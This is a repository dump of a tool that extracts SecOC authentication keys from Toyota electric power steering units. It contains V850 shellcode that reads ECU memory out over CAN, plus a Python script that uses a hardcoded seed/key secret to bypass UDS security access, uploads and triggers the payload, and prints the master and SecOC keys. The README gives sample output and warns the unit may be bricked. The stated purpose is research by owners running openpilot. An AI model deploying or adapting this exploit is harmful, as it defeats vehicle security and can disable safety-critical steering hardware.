├── shellcode ├── .gitignore ├── build_docker.sh ├── build.sh ├── Dockerfile └── main.c ├── .gitignore ├── payload.bin ├── requirements.txt ├── README.md └── extract_keys.py /shellcode/.gitignore: -------------------------------------------------------------------------------- 1 | main.o 2 | main.bin 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.bin 2 | !payload.bin 3 | .venv/ 4 | __pycache__/ 5 | -------------------------------------------------------------------------------- /payload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/I-CAN-hack/secoc/HEAD/payload.bin -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | git+https://github.com/commaai/panda.git@ea156f7c628a371bea9a15a29f9068d5392534ba 2 | tqdm==4.66.1 3 | pycryptodome==3.18.0 4 | -------------------------------------------------------------------------------- /shellcode/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | 4 | docker build -t v850-gcc . 5 | docker run --rm -v $(pwd):/src v850-gcc ./build.sh 6 | -------------------------------------------------------------------------------- /shellcode/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | v850-elf-gcc -fPIC -ffreestanding -c main.c -o main.o 5 | v850-elf-objcopy -O binary -j .text main.o main.bin 6 | -------------------------------------------------------------------------------- /shellcode/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | ENV TARGET_ARCH="v850-elf" 4 | ENV TOOLCHAIN_VERSION="master" 5 | ENV TOOLCHAIN_NAME="gcc-${TARGET_ARCH}-${TOOLCHAIN_VERSION}" 6 | ENV TOOLCHAIN_PATH="/opt/${TOOLCHAIN_NAME}" 7 | ENV PATH="${TOOLCHAIN_PATH}/bin:${PATH}" 8 | 9 | RUN apt-get update && apt-get install -y build-essential bison flex libgmp3-dev libmpc-dev libmpfr-dev texinfo git 10 | 11 | WORKDIR /src 12 | RUN git clone --depth=1 --branch=binutils-2_41-release git://sourceware.org/git/binutils-gdb.git 13 | 14 | # Build binutils 15 | WORKDIR /build/binutils 16 | RUN /src/binutils-gdb/configure \ 17 | --target=${TARGET_ARCH} \ 18 | --prefix=${TOOLCHAIN_PATH} \ 19 | --disable-nls 20 | RUN make -j$(nproc) all 21 | RUN make install 22 | 23 | # Build gcc 24 | WORKDIR /src 25 | RUN git clone --depth=1 --branch=releases/gcc-13.2.0 git://gcc.gnu.org/git/gcc.git 26 | 27 | WORKDIR /build/gcc 28 | 29 | RUN /src/gcc/configure \ 30 | --target=${TARGET_ARCH} \ 31 | --prefix=${TOOLCHAIN_PATH} \ 32 | --disable-nls \ 33 | --enable-languages=c \ 34 | --without-headers \ 35 | --with-gnu-as \ 36 | --with-gnu-ld \ 37 | --disable-shared \ 38 | --disable-libssp \ 39 | --disable-threads \ 40 | --disable-nls \ 41 | --with-newlib 42 | 43 | RUN make -j$(nproc) all-gcc 44 | RUN make install-gcc 45 | 46 | WORKDIR /src 47 | -------------------------------------------------------------------------------- /shellcode/main.c: -------------------------------------------------------------------------------- 1 | void exploit() { 2 | unsigned char* volatile RSCFDnCFDTMSTSp = 0xffd202d0; 3 | unsigned int* volatile RSCFDnCFDTMIDp = 0xffd24000; 4 | unsigned int* volatile RSCFDnCFDTMDF0_p = 0xffd2400c; 5 | unsigned int* volatile RSCFDnCFDTMDF1_p = 0xffd24010; 6 | unsigned int* volatile RSCFDnCFDTMPTRp = 0xffd24004; 7 | unsigned int* volatile RSCFDnCFDTMFDCTRp = 0xffd24008; 8 | unsigned char* volatile RSCFDnCFDTMCp = 0xffd20250; 9 | 10 | 11 | asm("di"); 12 | 13 | int *addr = 0xfebe6e34; 14 | while (addr < 0xfebe6ff4) { 15 | int i = 0x10; 16 | 17 | if ((*(RSCFDnCFDTMSTSp + i) & 0b110) != 0) { 18 | continue; 19 | } 20 | 21 | // DLC 22 | *(RSCFDnCFDTMPTRp + 8 * i) = 0b1000 << 28; 23 | 24 | // ArbID 25 | *(RSCFDnCFDTMIDp + 8 * i) = 0x7a9; 26 | 27 | // Data 28 | *(RSCFDnCFDTMDF0_p + 8 * i) = ((int)addr << 8) | 0x07; 29 | *(RSCFDnCFDTMDF1_p + 8 * i) = *addr; 30 | 31 | // Classical frame 32 | *(RSCFDnCFDTMFDCTRp + 8 * i) = 0x0; 33 | 34 | // Request transmission (RSCFDnCFDTMCp.TMTR = 1) 35 | *(RSCFDnCFDTMCp + i) |= 0x1; 36 | 37 | // Wait for transmission to complete (RSCFDnCFDTMSTSp.TMTRF = 0) 38 | while ((*(RSCFDnCFDTMSTSp + i) & 0b110) == 0) { 39 | 40 | } 41 | 42 | // Clear TMTRF 43 | *(RSCFDnCFDTMSTSp + i) = *(RSCFDnCFDTMSTSp + i) & 0xf9; 44 | 45 | addr++; 46 | } 47 | 48 | void (*bl_reset)(void) = (void (*)(void))0x0000157e; 49 | bl_reset(); 50 | } 51 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## SecOC Key Extractor 2 | 3 | This repository contains scripts to extract SecOC keys. See the related [blog post](https://icanhack.nl/blog/secoc-key-extraction/) for more details. Confirmed working by users on the following vehicles: 4 | - 2021-2023 RAV4 Prime 5 | - 2021 Sienna LE 6 | 7 | 8 | ## Read this first 9 | - THIS IS AT YOUR OWN RISK 10 | - This may brick your EPS. Only attempt this if you're willing to replace the EPS or steering rack if needed. 11 | - A comma.ai panda is needed to communicate over CAN, and the latest panda python library needs to be installed (pip install -r requirements.txt). 12 | 13 | ## Extracting Keys 14 | 15 | With the vehicle completely off and the brake pedal not pressed, press the power button twice to get the car into "IGNITION ON" without the green `[READY]` light also being on. You can then run the script. Example: 16 | 17 | ```bash 18 | $ ./extract_keys.py 19 | Getting application versions... 20 | - APPLICATION_SOFTWARE_IDENTIFICATION (application) b'\x018965B4209000\x00\x00\x00\x00' 21 | - APPLICATION_SOFTWARE_IDENTIFICATION (bootloader) b'\x01!!!!!!!!!!!!!!!!' 22 | 23 | Security Access... 24 | - SEED: e8c0f91e28faee7b1fc04d49e707fd3e 25 | - KEY: ad250d24bf843f8d831eaa8bb78e7839 26 | - Key OK! 27 | 28 | Preparing to upload payload... 29 | - Write data by identifier 0x201 00000000000000000000000000000000 30 | - Write data by identifier 0x202 00000000000000000000000000000000 31 | 32 | Upload payload... 33 | - Request download 34 | - Transfer data 0 35 | - Transfer data 1 36 | - Transfer data 2 37 | - Transfer data 3 38 | 39 | Verify payload... 40 | - Routine control 0x10f0 OK! 41 | 42 | Trigger payload... 43 | 44 | Dumping keys... 45 | 100%|█████████████████████████████████████████████████| 448/448 [00:00<00:00, 15230.75it/s] 46 | 47 | ECU_MASTER_KEY 9432d3638b842d75e64db091fce5fa68 48 | SecOC Key (KEY_4) c5fc900668d068ec39695d9a8885be2d 49 | ``` 50 | 51 | 52 | ## Building a payload 53 | This step is not necessary to extract the keys, as a pre-built payload is included in the repository. 54 | 55 | The shellcode can be found in `shellcode/main.c`. The folder also contains scripts and Dockerfiles needed to build a cross compiler and compile the code. Run `./build_docker.sh` to do this automatically. 56 | 57 | After compiling the shellcode the payload has to be built. This can be done using the `build_payload.py` script. The script needs a secret from the firmware to derive the encryption key. Obtaining this key is left as [an exercise to the reader](https://icanhack.nl/blog/rh850-glitch/). 58 | 59 | ```bash 60 | ./build_payload.py -s "ffffffffffffffffffffffffffffffff" shellcode/main.bin 61 | ``` 62 | -------------------------------------------------------------------------------- /extract_keys.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import struct 4 | import time 5 | import binascii 6 | from subprocess import check_output, CalledProcessError 7 | 8 | from Crypto.Cipher import AES 9 | from tqdm import tqdm 10 | 11 | from panda import Panda 12 | from opendbc.car.uds import UdsClient, ACCESS_TYPE, SESSION_TYPE, DATA_IDENTIFIER_TYPE, SERVICE_TYPE, ROUTINE_CONTROL_TYPE, NegativeResponseError 13 | from opendbc.car.structs import CarParams 14 | from opendbc.car.isotp import isotp_send 15 | 16 | ADDR = 0x7a1 17 | DEBUG = False 18 | BUS = 0 19 | 20 | SEED_KEY_SECRET = b'\xf0\x5f\x36\xb7\xd7\x8c\x03\xe2\x4a\xb4\xfa\xef\x2a\x57\xd0\x44' 21 | 22 | # These are the key and IV used to encrypt the payload in build_payload.py 23 | DID_201_KEY = b'\x00' * 16 24 | DID_202_IV = b'\x00' * 16 25 | 26 | # Confirmed working on the following versions 27 | APPLICATION_VERSIONS = { 28 | b'\x018965B4209000\x00\x00\x00\x00': b'\x01!!!!!!!!!!!!!!!!', # 2021 RAV4 Prime 29 | b'\x018965B4233100\x00\x00\x00\x00': b'\x01!!!!!!!!!!!!!!!!', # 2023 RAV4 Prime 30 | b'\x018965B4509100\x00\x00\x00\x00': b'\x01!!!!!!!!!!!!!!!!', # 2021 Sienna 31 | } 32 | 33 | KEY_STRUCT_SIZE = 0x20 34 | CHECKSUM_OFFSET = 0x1d 35 | SECOC_KEY_SIZE = 0x10 36 | SECOC_KEY_OFFSET = 0x0c 37 | 38 | def get_key_struct(data, key_no): 39 | return data[key_no * KEY_STRUCT_SIZE: (key_no + 1) * KEY_STRUCT_SIZE] 40 | 41 | def verify_checksum(key_struct): 42 | checksum = sum(key_struct[:CHECKSUM_OFFSET]) 43 | checksum = ~checksum & 0xff 44 | return checksum == key_struct[CHECKSUM_OFFSET] 45 | 46 | def get_secoc_key(key_struct): 47 | return key_struct[SECOC_KEY_OFFSET:SECOC_KEY_OFFSET + SECOC_KEY_SIZE] 48 | 49 | 50 | if __name__ == "__main__": 51 | try: 52 | check_output(["pidof", "boardd"]) 53 | print("boardd is running, please kill openpilot before running this script! (aborted)") 54 | exit(1) 55 | except CalledProcessError as e: 56 | if e.returncode != 1: # 1 == no process found (boardd not running) 57 | raise e 58 | except FileNotFoundError: 59 | pass 60 | 61 | panda = Panda() 62 | panda.set_safety_mode(CarParams.SafetyModel.elm327) 63 | 64 | uds_client = UdsClient(panda, ADDR, ADDR + 8, BUS, timeout=0.1, response_pending_timeout=0.1) 65 | 66 | print("Getting application versions...") 67 | 68 | try: 69 | app_version = uds_client.read_data_by_identifier(DATA_IDENTIFIER_TYPE.APPLICATION_SOFTWARE_IDENTIFICATION) 70 | print(" - APPLICATION_SOFTWARE_IDENTIFICATION (application)", app_version) 71 | except NegativeResponseError: 72 | print("Can't read application software identification. Please cycle ignition.") 73 | exit(1) 74 | 75 | if app_version not in APPLICATION_VERSIONS: 76 | print("Unexpected application version!", app_version) 77 | exit(1) 78 | 79 | # Mandatory flow of diagnostic sessions 80 | uds_client.diagnostic_session_control(SESSION_TYPE.DEFAULT) 81 | uds_client.diagnostic_session_control(SESSION_TYPE.EXTENDED_DIAGNOSTIC) 82 | uds_client.diagnostic_session_control(SESSION_TYPE.PROGRAMMING) 83 | 84 | # Get bootloader version 85 | uds_client.diagnostic_session_control(SESSION_TYPE.DEFAULT) 86 | uds_client.diagnostic_session_control(SESSION_TYPE.EXTENDED_DIAGNOSTIC) 87 | bl_version = uds_client.read_data_by_identifier(DATA_IDENTIFIER_TYPE.APPLICATION_SOFTWARE_IDENTIFICATION) 88 | print(" - APPLICATION_SOFTWARE_IDENTIFICATION (bootloader) ", bl_version) 89 | 90 | if bl_version != APPLICATION_VERSIONS[app_version]: 91 | print("Unexpected bootloader version!", bl_version) 92 | exit(1) 93 | 94 | # Go back to programming session 95 | uds_client.diagnostic_session_control(SESSION_TYPE.PROGRAMMING) 96 | 97 | # Security Access - Request Seed 98 | seed_payload = b"\x00" * 16 99 | seed = uds_client.security_access(ACCESS_TYPE.REQUEST_SEED, data_record=seed_payload) 100 | 101 | key = AES.new(SEED_KEY_SECRET, AES.MODE_ECB).decrypt(seed_payload) 102 | key = AES.new(key, AES.MODE_ECB).encrypt(seed) 103 | 104 | print("\nSecurity Access...") 105 | 106 | print(" - SEED:", seed.hex()) 107 | print(" - KEY:", key.hex()) 108 | 109 | # Security Access - Send Key 110 | uds_client.security_access(ACCESS_TYPE.SEND_KEY, key) 111 | print(" - Key OK!") 112 | 113 | print("\nPreparing to upload payload...") 114 | 115 | # Write something to DID 203, not sure why but needed for state machine 116 | uds_client.write_data_by_identifier(0x203, b"\x00" * 5) 117 | 118 | # Write KEY and IV to DID 201/202, prerequisite for request download 119 | print(" - Write data by identifier 0x201", DID_201_KEY.hex()) 120 | uds_client.write_data_by_identifier(0x201, DID_201_KEY) 121 | 122 | print(" - Write data by identifier 0x202", DID_202_IV.hex()) 123 | uds_client.write_data_by_identifier(0x202, DID_202_IV) 124 | 125 | # Request download to RAM 126 | data = b"\x01" # [1] Format 127 | data += b"\x46" # [2] 4 size bytes, 6 address bytes 128 | data += b"\x01" # [3] memoryIdentifier 129 | data += b"\x00" # [4] 130 | data += struct.pack('!I', 0xfebf0000) # [5] Address 131 | data += struct.pack('!I', 0x1000) # [9] Size 132 | 133 | print("\nUpload payload...") 134 | 135 | print(" - Request download") 136 | resp = uds_client._uds_request(SERVICE_TYPE.REQUEST_DOWNLOAD, data=data) 137 | 138 | # Upload payload 139 | payload = open("payload.bin", "rb").read() 140 | assert len(payload) == 0x1000 141 | chunk_size = 0x400 142 | for i in range(len(payload) // chunk_size): 143 | print(f" - Transfer data {i}") 144 | uds_client.transfer_data(i + 1, payload[i * chunk_size:(i + 1) * chunk_size]) 145 | 146 | uds_client.request_transfer_exit() 147 | 148 | print("\nVerify payload...") 149 | 150 | # Routine control 0x10f0 151 | # [0] 0x31 (routine control) 152 | # [1] 0x01 (start) 153 | # [2] 0x10f0 (routine identifier) 154 | # [4] 0x45 (format, 4 size bytes, 5 address bytes) 155 | # [5] 0x0 156 | # [6] mem addr 157 | # [10] mem addr 158 | data = b"\x45\x00" 159 | data += struct.pack('!I', 0xfebf0000) 160 | data += struct.pack('!I', 0x1000) 161 | 162 | uds_client.routine_control(ROUTINE_CONTROL_TYPE.START, 0x10f0, data) 163 | print(" - Routine control 0x10f0 OK!") 164 | 165 | print("\nTrigger payload...") 166 | 167 | # Now we trigger the payload by trying to erase 168 | # [0] 0x31 (routine control) 169 | # [1] 0x01 (start) 170 | # [2] 0xff00 (routine identifier) 171 | # [4] 0x45 (format, 4 size bytes, 5 address bytes) 172 | # [5] 0x0 173 | # [6] mem addr 174 | # [10] mem addr 175 | data = b"\x45\x00" 176 | data += struct.pack('!I', 0xe0000) 177 | data += struct.pack('!I', 0x8000) 178 | 179 | # Manually send so we don't get stuck waiting for the response 180 | # uds_client.routine_control(ROUTINE_CONTROL_TYPE.START, 0xff00, data) 181 | erase = b"\x31\x01\xff\x00" + data 182 | isotp_send(panda, erase, ADDR, bus=BUS) 183 | 184 | print("\nDumping keys...") 185 | start = 0xfebe6e34 186 | end = 0xfebe6ff4 187 | 188 | extracted = b"" 189 | 190 | with open(f'data_{start:08x}_{end:08x}.bin', 'wb') as f: 191 | with tqdm(total=end-start) as pbar: 192 | while start < end: 193 | for addr, *_, data, bus in panda.can_recv(): 194 | if bus != BUS: 195 | continue 196 | 197 | if data == b"\x03\x7f\x31\x78\x00\x00\x00\x00": # Skip response pending 198 | continue 199 | 200 | if addr != ADDR + 8: 201 | continue 202 | 203 | if DEBUG: 204 | print(f"{data.hex()}") 205 | 206 | ptr = struct.unpack("> 8) == start & 0xffffff # Check lower 24 bits of address 208 | 209 | extracted += data[4:] 210 | f.write(data[4:]) 211 | f.flush() 212 | 213 | start += 4 214 | pbar.update(4) 215 | 216 | key_1_ok = verify_checksum(get_key_struct(extracted, 1)) 217 | key_4_ok = verify_checksum(get_key_struct(extracted, 4)) 218 | 219 | if not key_1_ok or not key_4_ok: 220 | print("SecOC key checksum verification failed!") 221 | exit(1) 222 | 223 | key_1 = get_secoc_key(get_key_struct(extracted, 1)) 224 | key_4 = get_secoc_key(get_key_struct(extracted, 4)) 225 | 226 | print("\nECU_MASTER_KEY ", key_1.hex()) 227 | print("SecOC Key (KEY_4)", key_4.hex()) 228 | 229 | try: 230 | from openpilot.common.params import Params 231 | params = Params() 232 | params.put("SecOCKey", key_4.hex()) 233 | print("\nSecOC key written to param successfully!") 234 | except Exception: 235 | print("\nFailed to write SecOCKey param") 236 | --------------------------------------------------------------------------------